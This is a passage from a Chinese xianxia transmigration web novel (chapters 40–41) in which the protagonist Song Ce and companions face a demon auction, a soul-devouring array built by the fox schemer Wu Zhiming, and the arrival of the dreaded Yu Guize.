原本面色活跃的周百岁见此场景,也露出些许凝重,他看见台下观众的表现,能猜出这里拍卖的东西恐怕不被世人所容,空气中弥散着淡淡的血腥味,腥味不重但与燃烧的熏香混合之后,融合出一种古怪味道。
周百岁低头查看手中绿镯,危险不安的气息。
“小家伙,我想你也猜到这里是干什么的了。”
九婴双手抱胸站在周百岁身边,周百岁顺着他的目光看了几个位置,心下一紧随即又放松语气。
“这种邪魔歪道就不该存在于世,早晚要被仙门端掉!”周百岁凝着眸子狠狠看着台上,心中泛起一股难以言说的恶心。
“邪魔歪道?”
九婴好整以暇地斜眼看向周百岁,问她:“你觉得什么是邪魔歪道?”
她立即转头看先九婴,直言不讳:“当然是以邪术入道残害普通修士的妖魔了!”
“哦?”九婴眉梢轻挑,他问,“以邪术入道的人族那么多,照你这么说,岂不是不算?”
“不尽然,我爹说过,不管是什么,都不能看表面,不论是是妖还是魔都有正有邪,即使是人族也有修习邪术残害同门同族的。”周百岁表情认真,正气凌然。
“我最是讨厌恃强临弱,以修为压迫弱小、恶意践踏残害他族性命之人。”
“可若是想登上仙道大途,却是少不了杀戮你不反击,别人就会来杀你,届时你恐怕自身难保”,九婴轻颤眼睫,语气散漫聊赖,“你看台下的小可怜,眼熟吗?”
竞拍早已经过几轮,周百岁顺着九婴的话朝台中心看去,一条碧青色的蛇被锁住七寸,一根细锁穿过血肉将他钉在笼子里,凭借着修道者好眼力,她能清晰地看清那条蛇幻化成她熟悉的样子。
是那只蛇妖。
听及谈话内容,绿竹微侧脸看了眼两人。
绿竹沉下眼睫,随后她抬眼看向圆台中心,不再反应。
在上仙界常有这类拍卖会场,不论是上得了台面的,还是上不了台面的。
不出所料,绿竹的弟弟果然被当做“器货”送至这里被拍卖。
宣价起拍,竹青蛇族的尾骨,虽算不上高阶兽骨,但对于下界修士来说已经算是不错的炼器材料了。
藏在隔间帘账之下的修道者接连竞拍起来,绿竹看着此起彼伏的竞拍声音指尖发紧,她浑身血液逆流四肢躯体止不住颤抖,她快要坐不住了。
理智让她无法相信两个认识不久的修道者,她不能将救弟弟的希望寄托在陌生人身上,会有人不计得失救助自己吗?
她不是不谙世事的小妖了,她不该这么傻。
绿竹悄无声息地平复起伏不定的气息。
关键时刻,九婴撇了一眼,“姑娘?”
周百岁的视线也被吸引了过来,这时宋策开口了,作为同类他可看得出绿竹在想什么,“我们对你们的尾骨并不感兴趣。”
绿竹闻声看宋策,目光中一瞬的兽类竖瞳却还是被宋策捕捉到了。
九婴尴尬地摸了摸鼻子,笑着安抚绿竹,“放心,我们承诺会帮你救出弟弟,绝不会食言。”
“宿主的话怎么能信,他坏的透透的。”
这时系统的声音冷不丁响起,好在旁人听不见系统说了什么,系统还想说些什么,但是被宋策无情打断,“再多嘴,我花光你的能量,直接让你强制休眠,你会喜欢的。”
“滋滋”引擎响声过后,宋策的世界安静了。
场内嘈杂的交谈声此起彼伏,即使是有人刻意压低声线,但作为修士的宋策还能听出旁人交谈的内容,若是有心,高阶修士亦可截断别人传音内容。
“竹青蛇骨,用来铸剑尚可,但这蛇妖品相一般,尾骨年数不长,勉强七品灵器,但仍不过是凡器不足入眼。”
“是啊,可惜了,堪过百年。”
……
绿竹能听清旁人说了些什么,她看着台上低头沉默的“商品”,那是她弟弟,被像货物一样仍人挑选评价,掌心早已血肉模糊,不知疼痛为何物。
她这样低阶妖族在强大的修士猎妖家族眼里,不过是手里称手的兵器,不过是能扔进炼丹炉锻造的死物,毫无生气可言,可悲至极,连最基本的愤怒在他们看来都是可笑荒唐的。
“族群被赶尽杀绝,祖地被烧杀抢掠,如今只能看着自己的弟弟任人欺辱践踏,她如何不恨,她恨这世道,她恨这嗜血残杀的灵界,她更恨自己的无能!
……
“快走!”
“怎么回事?”
……
“遭了!”周百岁暗骂一声,她看清高台之下突然乱了起来,乱况之中妖魔鬼怪都躁动逃窜起来,她不动声色往后退了几步,若是平白往常她定是要混入其中施展一番身手,但她看到了不该看到的人。
“果然”,九婴惊疑不定地看了眼下方,“他警惕地查看乱况,立即明白过来,“大人,他想鱼死网破!”
“先救出她弟弟,我去查看阵法中心”,宋策看了眼企图溜走的周百岁,“你和我走!”
周百岁一愣,刚想退却,却被宋策一句话勾住好奇心,“不想看整个云州城结症所在?”
“能吸取灵脉与生灵气运的法阵,控制着云州城的地底防线。”
人影攒动,推搡之中,周百岁紧跟宋策的身影,她能感受到脚底的变化,他们已经不在刚才的位置,随着法阵的迁移,坐地起行,这中瞬息万变的法阵,她未曾深度接触过。
“前辈,有人!”
“无碍,跟紧我!”
上仙界一般修士处理这种叠加而成的复杂法阵也难以挣脱,无奈上了贼船周百岁只能认了,刚才就不该犹豫那下,这下根本不知道走到哪了。
周百岁压下心底的惊异,她分明看清一瞬的空间屏障近乎贴近擦过自己的肩膀,但身前人只是随意抬手轻点余空,朝上勾画,那处便划开一道窄门,她被他引入下一个领域。
周百岁紧跟宋策,但看他毫无波澜的眼神,她陡然紧张起来,灵镯闪烁不停,只能紧急叫停宋策,“前辈,这法阵有问题!”
“前辈,这边路不对!”周百岁在宋策的沉默里愈发冷静起来,她喊住宋策,“这里每过三息变幻领域,即使我们站在原地不动也会被代入另一个空间。”
“我不能判断出它到底分化出多少小领域,但在短时间里重复出现在同一个地点的机会几乎是无。”
在这里一时半刻是无法出去的,若是不念及灵脉中的生灵,那些强大的修士大可直接毁去灵脉上桎梏的法阵,但届时这些低阶妖魔修道者都将葬身地底,生魂将受制灵脉,被迫供养地底灵气,被搅碎,被炼魂,永无脱身之日。
周百岁在古籍中看过这类邪术,违背天道,不被所容,是禁术!
周百岁止住宋策的身形,“我们得阻止它,再这样下去,大家都得死!”
周百岁定睛查看手腕镯子,神情严肃凝重,抬头看向宋策,“它的运转速度变快了!”
“它吸食灵脉的灵气推动法阵运转,施法者与这阵休戚相关,我们需要找到施阵者!”
“我在古籍中曾见过这种异常的编排布阵,并非只是利用灵脉中灵气构建异空间。”
“前辈?”周百岁不知道他要做什么,但是她还是义无反顾地跟着他,从见到这个人起,她就有一种似曾相识的熟悉感,在看到宋策如此镇定自若的模样,她心下紧张心绪也有些放缓,也许前辈早已察觉法阵有问题。
“现在不是说这个的时候。”
“我们要先找到布阵者。”
以魂祭阵,煞气四起,养魂蛊?
宋策有些迟疑地停下,他不知该退还是该留下解决这个祸端,若是留下即使完美身退也势必会引人怀疑,若是放任不理,他无法保证自己接下来的日子能过的稳当。
“大人,”宋策接受到
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九婴的传音,“他——”
一阵诡异的倒抽气声划过,随即九婴说话了,语气中是未尽的不可置信:“大人,我在……小心!”
宋策听见九婴那边传来的深沉低压嘶吼声,仔细听混杂着刺耳尖利的尖叫哭嚎。
“我们在——等等!”九婴的声音一瞬没了动静。
两人联络蓦然截断,宋策沉默后看了眼正一脸兴奋地看着自己的周百岁,想起她刚刚喋喋不休的推测,察觉到她的意图后有些奇怪地问他,“你不是看不上这里的妖魔鬼怪?会花心思救这些人?”
周百岁表情有一瞬的怔愣,随即转头看一向冷淡的宋策,哈哈尴尬笑了两声。
“这些生灵不论是妖是魔还是人都有好有坏,若是不明真相被卷进阵里不明不白地就被绞杀了,一般人都不会袖手旁观吧。”
“况且,我们这不是还手有余力?说不定能干一番大事呢!”
宋策意味不明地发出一声嗤笑,“手有余力?你还真是……”
“她是傻吧?”系统看了眼周百岁兴致勃勃的样子,暗自嘀咕,“这孩子怎么这么像小仙君呢。”
宋策没忍住打击她,“你知不知道你在皇宫里随手抓住的蛇妖是怎么回事?”
到这个时候周百岁有些不好意思起来,她挠挠头,小脸涨红,“其实我看到那只妖时不小心闹出了动静,引来了皇宫里人,那只妖突然暴起想杀人,我不得已才绑住了他。”
宋策眉眼露出几分嘲笑,故意揶揄她:“当时你在宴会上可不是这么说的。”
周百岁听到宋策暗讽自己,忍不住为自己辩解,“我当是不得已,没办法,况且我看整个皇宫都是妖气沉蒙,我只能装作……”
“我在他身上隐入了追踪符和护身灵符,我能感受到他还在。”说着她抬手掐决想给宋策看符纹。
谁知下一刻她的表情从自信满满变成惊慌,“怎么回事?”
她不死心地又施法,表情是愈发不可置信,“明明刚才还在,怎么没了!”
她有些慌张地站在原地,不知所措地看着宋策。
“笨……”
“他没事,被九婴救了。”
“前辈怎么知道的?”
宋策朝周百岁微微弹指,目露无奈神情,“跟你一样?”
周百岁表情空白一瞬,脚步机械般随着宋策进入下一个灵域,转而一股热浪扑面而来,空气中都是黏腻湿滑的潮意。
她像是一盆冷水浇到头上似的,眼瞳瞬间透着光,“你追踪我!”
她突然开始浑身查看,有些犹疑,“我的镯子没有显示。”
“或许是在困阵中,灵力周转有异。”宋策不以为意随口敷衍她。
她有些不服气地追问,“要么就是你骗我?”她全然忘了维持方才那副毕恭毕敬地样子,暗自气恼自己粗心大意,这般相信一个陌生修士。
“怎么可能?”她想不出有什么人会无缘无故地跟踪自己,除非有利可图,她只能想到是关系到她爹。
“又来两个?”
“活物的香味……”
“我要从眼珠子开始吃他……”
“谁?”周白岁从惊疑不定的混沉中惊醒,才发现他们到了一股古怪的地方,四周好似围绕在一股莫名血红又晦暗的纱帐之下,热气不知从哪冒出来,脚底、耳边又或是头顶。
这种场景让宋策想起些不太美妙的记忆,他微施灵力将周百岁拉至身后,一抹灵力随着她眉心探入,“凝神静气。”
仿佛极渊地底岩浆之下燃烧的畸形魂灵缭绕升起,如烟如雾气,热浪舔舐着耳鬓,熟悉的被灼热吞噬的恐慌感重新缠绕心间。
“宋哥,是你吗?”
雾色会散的一刹那,声音也清晰起来。
喻归泽略显青涩的脸毫无血色蓦然出现在眼前,他眼睫之下的血痕划过脸颊,唇角微裂流淌出血液染红他的下颌。一眼看去他整个人失魂落魄地跌倒在尸山血海里,素色法衣浸透了腐血,长剑割破他的十指,淋漓鲜血与腥臭腐败的尸体交融,黏腻红土布满了他挣扎之后的掌印。
他仰头看过来,瞳孔泛着的浅淡韵红随着热浪燃烧翻滚逐渐充血,其中清晰地倒影着宋策的身影。
声声泣血,字字诛心。
“宋策,你是骗我的吗?”
“你怎么可以骗我?”
宋策对着幻影,喻归泽就像在他眼前、在他身边,就那样看着他,他伸手就能接住那颗血泪,落在他手心的湿意,滚烫炙热。
宋策拧着眉,这是他没想到的。
41. 第四十章
“宿主?”系统察觉到宿主有些不对劲,与宋策连接这么些年,有时候宋策的一举一动他能看出宿主的意图,但是像这种突然没有任何反应的情况他很少见过。
“宿主,你刚才是出现幻觉了吗?”
“没有。”宋策敛下不必要的情绪,他嘱咐周百岁不要轻举妄动,他四下查看两人所在位置。
烈焰从地底喷涌而上,火光顺着脚底下的断垣残壁攀附招摇,周百岁心有余悸地往后退,悬崖峭壁上有能够站脚的栈道,说是栈道其实只是勉强凸起的石块,仔细看去石峰翘岩缝隙里渗透着红色痕迹,周百岁伸手抹了一点,黏腻腥臭,积年累月的血迹,新旧交叠,她胸口泛起一片冰冷,唇齿发寒止不住颤栗。
掌下扣着的石块时时灼烧着手心,她快支撑不住了,周百岁试图用灵气护体。
“别用灵力!”
宋策制止住周百岁施法的动作,警告她:“灵力会吸引那些怨灵,你不想被拖下去就别犯蠢!”
周百岁被吓得一激灵,她立即停住动作,一脸惊恐地朝下看了一眼,火光热浪喷涌朝她而来,她眼睛被刺激地睁不开,从进来她就感受到一股无形的压迫感从地底铺展开来,犹如一股密不透风的巨网捆绑着自己,丹田处的灵力好似枯竭一般无法运转。
她无奈只能朝宋策大喊:“前辈,我快喘不过气来了!”
宋策凝神朝下看,眼皮之下一片血红,不知是地底之下灵脉灵力波动而泛起的光晕还是那些惨死生灵的血肉。
他朝下使出一道灵符,那些在暗中觊觎窥视的怨鬼如同饿狼捕食一般,嘶吼着,互相蚕食,宋策只看到那些血红色模糊不清的身影交错碾压起来,一瞬间那条黄符被搅动的无影无踪。
看到这一幕的周百岁也不禁面露恶心,那些腐败的气息混着血腥味愈发浓郁,她想起宴会大厅里熏香的味道,腐腥淫靡的恶臭味,她扶着岩石干呕起来。
半晌她才回过神来抬头看宋策,他凌风而立正低头查看峭壁底下的怨鬼,墨色长袍随着热气被卷起,他像崖壁上扎根的松柏,风姿万千,整个人看上去毫无忧惧之色,周百岁忍不住喊他:“前辈,现在怎么办啊?”
周百岁也在奇怪,刚才分明一直在变换位置,为何两人到了这里之后就再也没有变化,她手腕处的灵镯也毫无反应,丹田处的灵力也被压制住,不得施展。
“我们出不去了,我试着联系外界,完全没有消息,而且我的灵力在这里也受到压制!”
她看着底下痛苦嘶吼的怨灵,有些恐惧担心,她怕自己会死在这里,变得和这些怨灵一样,终日受烈火焚烧之苦。
“糟了,那些东西上来了!”周百岁快要站不住脚,一切希望都寄托在宋策身上了,这下她是真后悔了,这下没救上人,要把小命搭在这里了。
周百岁惊恐地挥出符箓击打那些朝她攀岩过来的红色血影,若是低头仔细看还能看清那些影子之下模糊的五官,血肉黏腻在一起的嘴巴似乎要挣脱粘合在身上的黏膜,他们痛苦的叫喊声让周百岁心惊胆颤,只能不断往后退。
就在她退无可退之时,周百岁惊恐到极致是怨怒横生,心中大骂,但也是怪自己为什么要作死跑到这儿来被人坑!
就在无数血手将要碰到周百岁时,宋策脚边轻点,他踩着岩石接力荡到周百岁身前。
在周百岁眼里,宋策没有使用任何灵力,身形轻松,姿态轻盈,停顿的时刻,她能看出他滑落出的臂膀肌肉紧绷,爆发力极强,整个人宛如一只飞燕。
她睁大眼眶,震惊到忘了反抗脚下不断拉扯她的鬼手。
难怪她爹总是嘱咐她修士除了修炼境界,也要修体修魄,关键时刻灵力枯竭时,体魄也能帮助自己脱困,周百岁暗自下决心等这次脱困她要和修体的师兄师姐们请教。
“笑话,要是宿主没有这好身手,早被小仙君刀了!”系统看着周百岁大为震撼的样子,不以为然。
宿主做了那么多缺德事儿,做害第一对象非小仙君莫属,当初两人决裂之后常常大打出手,你死我活斗个不停,多数时候刀叉胸口,剑指动脉,鲜血飚飞。
宋策靠近周百岁后,从他袖口飞出一根红绫,瞬息之间红绫卷起周百岁的手腕迅速往上。
那根红绫像是有着生命拖着她,这下她有了支撑,等支撑住自己后她往下看了眼宋策,定睛的一瞬,一抹红色身影闪过眼角,她心尖一紧,“前辈,小心!”
在她脱口而出的一刹那,宋策直接跳进千万怨灵悬崖下,周百岁瞪大双眼,不敢相信,那个藏在岩石缝隙的人影如一缕红雾也随之翩然飘下。
周百岁还未看真切,绑住她腰腹的红绫像是受了刺激似的一下子将她往高处托举,而眼中那两缕颜色很快消失在地底。
周百岁最后看了快要合上的空间缝隙,近乎声嘶力竭大喊。
“前辈,说好的要带我!”
那猛然的大声疾呼倏的消失在耳边。
“前辈?”悟知命眉眼弯弯,嘴角带着恭敬谦和的笑意看着宋策,“我应该叫你一声前辈。”
“你是少主大人的座上宾,自然也是我的。”
悟知命一席血红长袍,热浪席卷着他的长发,他苍白的脸在火光的映照下显得异常阴沉,但嘴角却时刻挂着散漫的笑意。
“我和你可不相熟。”宋策站在崖壁一侧,悟知命只是站在他几米开外,那些怨鬼仿佛害怕他一般都聚集在宋策一边,挤挤攘攘的样子看着有些滑稽。
宋策视线轻移扫过脚下,抬脚碾碎一只试图朝他探过来的鬼手,指尖微动,那只手的主人头颅湮灭。
宋策抬眼:“你是什么东西?”
“也配和我攀关系。”
悟知命没有被宋策嘲讽的语气影响到,反而轻笑几声,他温和的眉眼染上几分魅意,那双狐狸眼轻眨,露出狐狸的狡黠机敏,这反而与宋策第一次见他时温润恭顺的模样相去甚远。
“这噬魂阵能成,前辈你还占一半功劳呢”,他走下脚下那片栈道,如履平地隔空踏着烟尘朝宋策走来,“若不是前辈那些术法秘籍,当年的我到死都不可能知道还有这种好东西。”
“你这个国师当的还挺安稳,用着我的东西造你的孽,阁下还真是……”
他像是没听到宋策的讽刺,继而看向那些挣扎肆虐的幽魂,眼中满含热烈的欣赏,像是在看一件满意的作品。
他自说自话。
“昔日有皓月城极南深渊的诛魔大阵,才有如今鬼城极渊充盈的灵气,不得不说正是前辈的手笔才给了我想法!”
他沉静在自己的世界里,猛然回过头来死死盯着宋策,一双眼里全然是炙热疯狂,火光照耀之下狐眼闪出刺目的血色,“你有压制极渊灵气的能力,为什么还要蜗居在鬼城。”
“……”
当年初入修仙界,宋策脑子有些极端不正常,接触炼气入道术法,对比以往的认知大有不同,他研究很多非主流的派别,想过许多稀奇古怪的修炼之法,换做如今旁人来说就是旁门左道,妖邪之法。
这都有人推崇吗?
早些年他想过既然修士能够隔空传送,也许修炼到一定境界可以划开虚空回到现代,但是介于修炼资质受阻,他只能想些旁门左道快速提升境界,系统出现之后,他直接另辟蹊径钻规则空子,是想过干脆杀掉天命之子毁掉修仙界,但到底也没有付出行动。
夜场里端过酒,坟地里扒过尸,吃过男人耐,捅过上司刀,前生今世算起来也就……还行吧。
况且他没有能力完全直接压制极渊灵气,这个结症,他当了鬼城城主这么多年都没解决,他从哪里得来的消息?
“他有病吧?”系统说出了看到这人来最想说出的话,搞半天想和自家宿主联手毁灭世界?
他是这个意思吧?
“我看阁下想多了。”宋策毫不留情地泼他冷水。
隔着火光,悟知命看着宋策半边脸掩盖在阴影之下,他深邃的眼眸中全然是调笑和质疑,见宋策没有将自己放在眼里的意思,他也不气恼,对待这样的对手,他有的是耐心。
“画虎不成反类犬,你应该想想外头那些人会将你怎么样,而不是在这里证明你的计策是对的。”
“没有人在意你能否成功。”
“宿主,和他废话干什么,他根本不是你的对手,我们直接捉住他交到外面人手里,看他还嚣张!”
宋策没指望这个系统能给出什么建设性的意见。
这个法阵和他设想的不一样,对方明显是有备而来,他目前能否出去都是个问题。
“若是一个毕生追求大道的修者无法拥有万里挑一的修炼之本,那他活着还有什么意思?”
“你真是这么想的?”宋策盯着他的眼睛,想透过那双明亮眼瞳看清人背后真正的意图,刺穿他虚假的伪装。
“利用极渊怨灵的煞气运转法阵炼丹,这可是前辈你的设想。”他穿过烟尘红雾蓦然出现在宋策身侧,如影如魅,一双魅眼透过阴影闪过算计。
“我有什么错呢?”
宋策见他答非所问,心下了然,释然唇边勾起笑意,“只听过至纯至阳的灵力淬炼修道之本,从未听过怨煞之气改变等级资质的,阁下未免太过于自信。”
“宿主,你在装什么?”
“这件事你好像也干过啊,一码归一码吧?”系统有些不确定,他怎么记得自家宿主上辈子走野路子时也干过类似的破事儿呢。
修仙界炼化怨气、魔气、煞气的修者屡见不鲜,早在万年前就有人另辟蹊径走野路子,自杀自毁者不知凡几,但是到底不是正经活儿,不被天道所容,轻则道基损毁,重者魂飞魄散。
他记得自家宿主干的疯狂事情比之有过之无不及。
论坏,宿主算得上在他接触过得小世界里和主角作对的反派角色了。
宿主曾在极渊幻阵里就想过将那些惨死的冤魂炼成魂丹,后来宿主接触道蛊之后也想过回到极渊炼制魂蛊,奈何当时宿主没能力控制那么多怨灵,只能作罢。
能困绞灵物继而绞杀的阵,宋策被他勾起一点兴趣了,也许这只蠢狐狸想学的不是自己,而是深埋在极渊往生河里的那些死尸。
他最喜欢看别人玩火自焚,他应该改变思路。
“你确实没什么错,想变强有什么错,你和我都没有错”,宋策笑着走近悟知命,双眼交锋的瞬间,他仿佛从他眼中看见一只渺小浮游抗争命运的癫狂,“让我看看你如何逃脱仙门围追堵截,成功脱胎换骨。”
“我不会阻止你,九婴也不会。”
悟知名,无知命,他懂他。
“让我来实现前辈当年未尽的道法。”他唇角微微勾起,面上淡然的笑着,眼尾猩红,瞳孔艳丽又疯狂。
悟知命往后一退,气浪从地底涌起,一阵狂风刮过,他直接仰倒跌进崖壁之下。
系统一惊,看他的身形直接淹没在红雾热浪中,最后一抹赤色影子消散在崖底深处。
赤色魅狸,眉心一点朱砂,模样比不上雪狐出尘清冷,但也妩媚多姿,魅人心神,一身赤色毛皮在妖界可是炼制法衣的上等器材,血肉入炉可炼制魅丹,刮皮削肉后白骨亦可入药,好的炼丹师惯会榨干器材的最后一点价值。
小狐狸怎么还是天真的很呢。
宋策无意识摩挲着指节处的银戒,他凝眸沉思,时下最严重的问题是如何才能一身轻地离开,不惹一身骚。
“系统,检测宴会上出现的熟人。”
“……”
“嗯——宿主,你是在叫我吗?”系统有点懵。
别叫他啊,他积分不够,他没积分,他不行啊!
“不是叫你叫谁,这里还有第二个人工智障?”
“算了,知道你办不成一件事。”
宋策低头俯视在他脚下挣扎的怨灵,接着他抬起手肘,掌心向下,指尖出血般牵引出丝丝红线,他的十指指引的那些红丝如同游走的活蛇穿梭着伸向黑洞洞的深渊处,那十根红线又分散出无数丝线往深处游走,好似在
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搜寻着什么。
牵魂术,能勾出魂魄、怨灵的记忆,探出死去亡灵的生平,修炼到一定程度可迫使灵魂之体供自己驱使,但有一个很大的鸡肋,使用者耗神甚大,低阶修道者不适用——属高阶术法。
那些线像是木偶的提丝,时不时锁住一只单薄的魂体,随后又放开,接着去寻找下一个目标。
红丝穿过游荡的灵魂,宋策眼眸低沉,视线随意地跟随着他手下的那些红线。
无数生灵影像穿过烟雾,穿过火光映照在宋策棕灰色的眼瞳上,那些痛苦欢愉的,那些爱欲惊惧的情绪透过红线清晰地传给宋策。
悟知命借着建立异空间的由头,将外界生灵吸引到这里来,借着法阵的机关将生灵困死在这里供他炼魂,这里是炼魂尸地,却不是灵脉中心,他也不可能这么傻直接将宋策引入最为机关重要的地方,要想找到阵眼得先找到吾知命的生魂。
当初在机渊记录下最后一道工序,若是想借助他人魂魄铸就神魂、炼制魂丹,就要舍弃自己的生魂,这偌大的深渊洞口就是他炼魂的火炉,主人的生魂就是炼丹必不可少的一味药——丹炉与主人相连,他的魂归之地。
“不在这里?”宋策也有些狐疑,“难道他没放生魂,不可能。”宋策能想到悟知命怕自己不守信用直接将他困死在这里,但是没想他搜索不到他的生魂。
也对,不可能直接将生魂放在如此险要之地,是他儿戏了。
高强度接触他人因果情绪,他有些吃不消,只能暂时收回丝线,再拖下去,他也得死在这里。
他趁着悟知命进来的空挡,将周百岁送出去就是为了能在这里搜索他的生魂,看来是他小瞧了这只狡猾的狐狸,难怪能骗了九婴偷了自己的东西。
“定点传送,传送地点——九婴位置。”
“明白,请宿主做好准备。”系统不敢多言,他看了眼宋策苍白的脸色,再心痛自己的能量也不能把自家宿主的性命不放在眼里。
视线轻晃,下一瞬那些时刻纠缠束缚他胸口的闷热窒息感瞬间消散,视线也从红晕暗沉变成清晰光明。
“前辈!”
宋策还没搞清楚处在什么位置,听到一声惊呼,他心下一沉想做出防备,但上下扫了眼自己的位置,一处包间——无人之地,他这才松了口气。
“宿主,九婴在下面的会场中心被人围住了。”防止打草惊蛇,系统多花了几个百分点为宋策选了一个绝佳位置。
直接将宋策传送到敌人跟前的事情,他干过,差点害死宿主,这是血的教训。
“前辈——”
“姑娘,你认错人了。”
九婴面不改色地和眼前这个一本正经小仙君掰扯,反正毫无证据,他脸上做了伪装,对方也不能拿他怎么样。
“在下受友人相邀才来此地见见世面,没成想突发妖魔作乱,方才险些卷入地底被灵力绞杀,多谢各位仙友搭救这才脱困,在下感激不尽。”九婴郑重其事地四下举手恭拜,聊表谢意。
但是正在对峙的林离完全不信,她走过站立不动的同门,喊住正要移步走开的九婴:“请留步,我见道友身侧的姑娘和公子身受暗伤,不若让我派医修稍作医治。”
“多谢,不劳烦仙友。”笑话,这要是被发现一个他一个九尾狐族长参和一个下仙界的破事儿,他脸往哪儿搁。
况且他可认识这小丫头是御领海第一仙门尊者座下弟子,要是被喻归泽那疯子缠上,他回去要被族里那些老顽固揪死。
说到喻归泽这人,好似横空出世的魔王一般,不是妖魔甚似妖魔,出山便屠了上仙界几大宗门,绞杀了几个魔族领域统领,移山劈海,镇压御灵海灵煞之气,一举将宗门迁移至御灵海,别说妖魔,是个苍蝇路过御灵海也得打报告道声尊者您手下留情。
这百年来喻归泽不知道剿灭了多少妖界窝点,他九尾狐族不干那些脏事儿也和他对不上,他再豪横也不会和这疯子认识。
林离压下刚才的惊异情绪,她镇定地拦住九婴,打量地看了几眼站在九婴身后的两只蛇妖。
她问:“敢问道友口中所说的友人在何处?”
九婴眉心一跳,心道这小丫头怎么不依不饶的,暗骂今天倒霉,但还是转过身来笑意盎然地回礼:“方才阵内震动,我与友人不甚走散,这正要去找他呢,便不在此叨扰了。”
“是吗?”
清冽冷淡的蓦然嗓音回荡在偌大的会厅,冰冷的语气毫无情感,一瞬间仿佛漫天霜雪洒下,混杂的宴会厅里弥散的熏香好似都冰冻停滞。
“姬九婴。”
九婴像是被阎王点卯了似的愣在原地,他瞳孔震动,指尖颤抖个不停。
原本毫无惧意的系统也仿佛遭到晴天霹雳般惊恐起来,他的声音在宋策脑海中“滋滋”响个不停,时不时冒出类似地雷爆炸的响动,好半晌系统才慌慌张张地开口,说了半天突出几个音节,“小,小……”
最后说的牛头不对马嘴,“小仙君!啊——不是,喻归泽!”
这分明是喻归泽的声音!
他怎么在这?
任务目标人物怎么在这里!
系统快搞不清楚情况了,怎么会是喻归泽,天命之子!
“宿主,我没能量了!”系统第一时刻想起自己已经没有能量了,这下逃命都逃不了!
“宿主?”
宋策隔着帘幕,微风吹动着倾泻而下的层层红纱,一抹剪影从纱帐之下缓慢显现,他衣袂轻擦,锦绣云纹仔细地绢绣在天山珠纱罗织的轻纱上,微风牵起掩盖的一角,宋策看清了那张冰冷含霜的侧脸。
他白衣胜雪,墨发玉冠,裹挟着数年寒霜走来,所有人都自觉为他让开一条道。
真的看清人后系统被震惊地要短路了,“宿主!”系统叫了好几声自家宿主都没反应,他怀疑宋策是不是也被吓傻了。
宋策捻捻指节处戒指,棕色瞳孔微缩,光线闪动恍惚地照耀着,他眯起眼,不轻不重地评价:“他穿的这是什么丑衣服?”
42. 第四十一章
“?”
“宿主,你这样不对……”
火烧眉毛了,系统不明白这个时候了宋策怎么还有功夫东扯西扯。
“宿主,现在不是三百年前,你没看到地上的血还没干吗!”
系统还心有余悸,他看清喻归泽出声的那一刻有几只妖肉身血雾一样炸开了。
直接炸开了!
血腥味直接喷薄而出,没有人在意,所有人都不敢在意,他们的眼睛都不敢乱瞟,沉声屏气战战兢兢等待命运的审判。
喻归泽的神识笼罩在整个法阵,犹如利器高悬颅顶,压迫感挤压着所有人的呼吸。
“看到了。”
宋策懒懒回复系统,眼神一刻不曾移开,他看着那抹白色,目光如炬闪过别样情绪。
所有记忆像是被扫开烟尘后露出的泛黄画卷,宋策捻捻指尖微垂眼帘沉默。
系统花光了所有积分给宋策换了一个身体,这主线任务还没摸到边呢,要是宿主这时候被喻归泽劈了,任务直接默认失败,他们会被世界程序抹杀。
光影绰绰,红纱倾泻如水波荡漾,喻归泽的身影被掩盖在赤色红晕中,天顶明亮的灯火珠光让他的剪影在波光锦缎绸纱里如同镜中艳花水中明月。
修士的神识笼盖四方,即使不在其目视中,对方也能察觉到神识领域之中的所有。
“已经迟了。”
他早已在对方的神识之下了。
当年在极渊宋策利用系统超脱世界的能力给喻归泽抹去了记忆,运气好的话喻归泽认不出他,运气不好照着喻归泽对自己的仇和怨,血溅当场对他来说不需要理由。
宋策制止住系统大呼小叫的絮叨催促,静观其变。
“九尾狐少族长姬九婴,久仰大名。”
喻归泽轻声对九婴问候,他眼眸冰冷疏离,毫无波澜,那双眼一瞬不移地落在九婴身上,盯得九婴心里直发毛。
九婴勉强维持面上冷静,既然对方直呼他大名,他再藏着掖着反而显得心中有鬼。
姬九婴换了一副面孔朝喻归泽,坦然笑道:“尊者,巧遇。”
“巧遇?”
一声嗤笑贸然打破了死寂,九婴回身看去。
来人剑眉星目,赤羽金冠,他身着绣着金丝花纹的玄色法衣,手持长枪阔步走来,一派气宇轩昂,傲世轻物的模样。
“这是得多大的缘分才能在这儿遇见?”他一双冷目漫不经心地扫视过来,一阵威压陡然碾压而来。
九婴倒也不怕这人,他轻挑眉毛没说什么,眼前这个看上去脾气不小的人族修士他从未正面打过照面,但他认得这人。
听说过金冠玄衣,长枪杀伐,一双漆目公正不阿傲世群雄,修道世家颜家人——颜丹臣。
九婴暗叹真是霉运当头,什么风把这两尊大佛给招来了。
悟知命啊悟知命,任你打的什么算盘今日谁也保不了你!
“妖界路遥,九婴尊者好大的雅兴竟跑到人族地界来。”
人、妖、魔三界如今井水不犯河水,但也并非毫无芥蒂,三界暗流涌动,地方势力不稳定,在这时妖族一方首领贸然驾临人族地界,任谁都会觉得事有蹊跷。
“对啊,偶尔换个地方游山玩水不过分吧”,九婴收起腕中折扇挽了个花,下仙界而已,又不是上仙界人族修道重地,九婴不认为有什么。
“谁在那!”
一阵疾风破开帘幕,作势之人并未想要宋策的命。
宋策轻闪身形便躲开风刃随之与众人隔着一层薄纱,他抬起手指的动作停在纱帘后,人不知在想些什么。
该来的总会来,他比系统冷静的多。
颜丹臣掀起眼皮冷冷看去,纱帘背后之人长身而立,人影揭开红帐的动作微微停顿,少顷一截苍白的腕骨伸出轻轻拨开珠帘,珠润清脆声随着动作泄出,只听得出说话人浅淡含笑,“我与九婴大人相会于此,不想叨扰了两位尊者除邪卫道。”
纱帘揭开,入目的那张脸毫无亮色看上去平凡无奇,但一双棕灰色浅目柔着温和笑意,白面温润如玉,和风高洁的样子平白让人增添好感。
宋策的伪装被颜丹臣一眼看穿,不过仍然是一张陌生的脸。
喻归泽看过来的瞬间,那笼罩在整个空间的神识威压愈发具有实感,绑定在宋策身上的系统仿佛都能感受到压迫头顶上方洞视自己的视线,越到这种无法转圜的余地,系统反而紧张地说不出话来。
“公子。”九婴走上前,站在宋策身侧,他看到宋策就这样径直走出来,心中也难免有了些安慰,看两人的样子并未发作,城主应该与这两人没什么过节。
颜丹臣打量了一瞬宋策,言语清傲,“阁下是?”
宋策抬手施礼,表情有一瞬的停顿,似乎在想如何称呼,最后面露愧色,“在下莫远行,无名之辈罢了,不足挂齿。”
“无名之辈?”
闻言颜丹臣走近了几步,他眉眼透着审视,语气逼人。
